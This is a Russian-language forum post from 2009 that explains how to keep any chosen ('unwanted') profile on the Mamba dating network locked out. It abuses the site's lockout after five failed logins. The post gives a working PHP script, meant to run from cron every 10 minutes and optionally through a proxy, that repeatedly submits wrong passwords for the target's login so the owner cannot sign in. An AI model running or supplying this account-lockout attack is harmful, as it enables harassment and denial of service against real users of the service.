Перейти к содержимому

Фотография

Способ временной блокировки любой анкеты на всей Мамбе

- - - - -

  • Авторизуйтесь для ответа в теме

#1
admin

Отправлено 18 ������ 2009 - 12:34

admin

    Самый главный тут

  • Администраторы
  • 9�618 сообщений
В общем кому интересно, есть лёгкий способ временно заблокировать НЕУГОДНУЮ анкету на всех сайтах, входящих в систему Мамбы.
Способ простой и основан на том, что Mamba блокирует на 15 минут логин у которого были 5 и более неуспешных попыток ввода пароля. Т.е Мамба вместо блокировки IP адреса при 5 неуспешных попытках ввода пароля блокирует сам логин на 15 минут на всей системе, т.е на всех сайтах системы!
Пишем простенький скрипт на php, вешаем его на хостинг и запускаем на выполнение скажем каждые 10 минут (например, добавив задание в cron на запуск скрипта каждые 10 минут).
Результатом будет блокировка анкеты до тех пор, пока вы не прекратите выполнение скрипта ab.gif )
Пользователю при попытке входа будет постоянно высвечиваться ошибки и он просто не сможет зайти на сайт:
* Максимальное число попыток ввода пароля - 5. Попробуйте авторизоваться через 15 минут
* Неверно указан логин или пароль

В скрипте в поля:
$no_login_for = "";
$oid = "";
В $no_login_for нужно вписать логин анкеты, а вместо $oid нужно вписать номер анкеты – 1. Т.е если номер анкеты 12345678, то в $oid нужно вписать 12345677

Код скрипта блокировки:
» Нажмите, чтобы показать спойлер - нажмите опять, чтобы скрыть... «
Код
<?php
set_time_limit(0);
include "Snoopy.class.php";
$snoopy = new Snoopy;
[b]$no_login_for = "test";[/b]
[b]$oid = "12345678";[/b]
$url = "http://mamba.ru/my/access.phtml?oid=$oid&secret=FORBID&goto=newmessages";
//$snoopy->proxy_host = "130.136.254.21"; //use proxy
//$snoopy->proxy_port = "3128";           //use proxy
$submit_url = "http://mamba.ru/my/login.phtml";
$submit_vars["login"] = $no_login_for;
$submit_vars["oid"] = "0";
$submit_vars["photo_oid"] = "0";
$submit_vars["login_action"] = "login";
$submit_vars["level"] = "Low";
$submit_vars["submit"] = "Войти";
for ($ii=0;$ii<5; $ii++)
{
  $submit_vars["password"] = "!!!FORBID!!!";
  $snoopy->submit($submit_url,$submit_vars);
  $snoopy->fetch($oid);
}
?>